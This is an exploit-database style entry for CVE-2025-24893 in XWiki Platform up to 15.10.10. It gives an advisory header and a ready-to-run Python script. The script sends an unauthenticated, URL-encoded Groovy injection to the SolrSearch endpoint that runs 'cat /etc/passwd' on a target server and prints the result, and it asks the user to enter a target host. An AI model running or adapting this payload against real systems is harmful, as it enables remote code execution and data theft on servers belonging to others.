XWiki Platform 15.10.10 - Remote Code Execution

# Exploit Title: XWiki Platform - Remote Code Execution
# Exploit Author: Al Baradi Joy
# Exploit Date: April 6, 2025
# CVE ID: CVE-2025-24893
# Vendor Homepage: https://www.xwiki.org/
# Software Link: https://github.com/xwiki/xwiki-platform
# Version: Affected versions up to and including XWiki 15.10.10
# Tested Versions: XWiki 15.10.10
# Vulnerability Type: Remote Code Execution (RCE)
# CVSS Score: 9.8 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Description:
# XWiki Platform suffers from a critical vulnerability where any guest user
can
# execute arbitrary code remotely through the SolrSearch endpoint. This can
lead
# to a full server compromise, including the ability to execute commands on
the
# underlying system. The vulnerability impacts the confidentiality,
integrity,
# and availability of the XWiki installation. The issue has been patched in
XWiki
# versions 15.10.11, 16.4.1, and 16.5.0RC1.
# Proof of Concept: Yes
# Categories: XWiki, Remote Code Execution, CVE-2025, RCE
# References:
# - GHSA Advisory: https://github.com/advisories/GHSA-rr6p-3pfg-562j
# - NVD CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
# - GitHub Exploit Link:
https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py

import requests

# Banner
def display_banner():
print("="*80)
print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code
Execution")
print("Exploit Author: Al Baradi Joy")
print("GitHub Exploit:
https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py")
print("="*80)

# Function to detect the target protocol (HTTP or HTTPS)
def detect_protocol(domain):
https_url = f"https://{domain}"
http_url = f"http://{domain}"

try:
response = requests.get(https_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTPS: {https_url}")
return https_url
except requests.exceptions.RequestException:
print("[!] HTTPS not available, falling back to HTTP.")

try:
response = requests.get(http_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] Target supports HTTP: {http_url}")
return http_url
except requests.exceptions.RequestException:
print("[✖] Target is unreachable on both HTTP and HTTPS.")
exit(1)

# Exploit function
def exploit(target_url):
target_url = detect_protocol(target_url.replace("http://",
"").replace("https://", "").strip())
exploit_url =
f"{target_url}/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"

try:
print(f"[+] Sending request to: {exploit_url}")
response = requests.get(exploit_url, timeout=10)

# Check if the exploit was successful
if response.status_code == 200 and "root:" in response.text:
print("[✔] Exploit successful! Output received:")
print(response.text)
else:
print(f"[✖] Exploit failed. Status code:
{response.status_code}")

except requests.exceptions.ConnectionError:
print("[✖] Connection failed. Target may be down.")
except requests.exceptions.Timeout:
print("[✖] Request timed out. Target is slow or unresponsive.")
except requests.exceptions.RequestException as e:
print(f"[✖] Unexpected error: {e}")

# Main execution
if __name__ == "__main__":
display_banner()
target = input("[?] Enter the target URL (without http/https):
").strip()
exploit(target)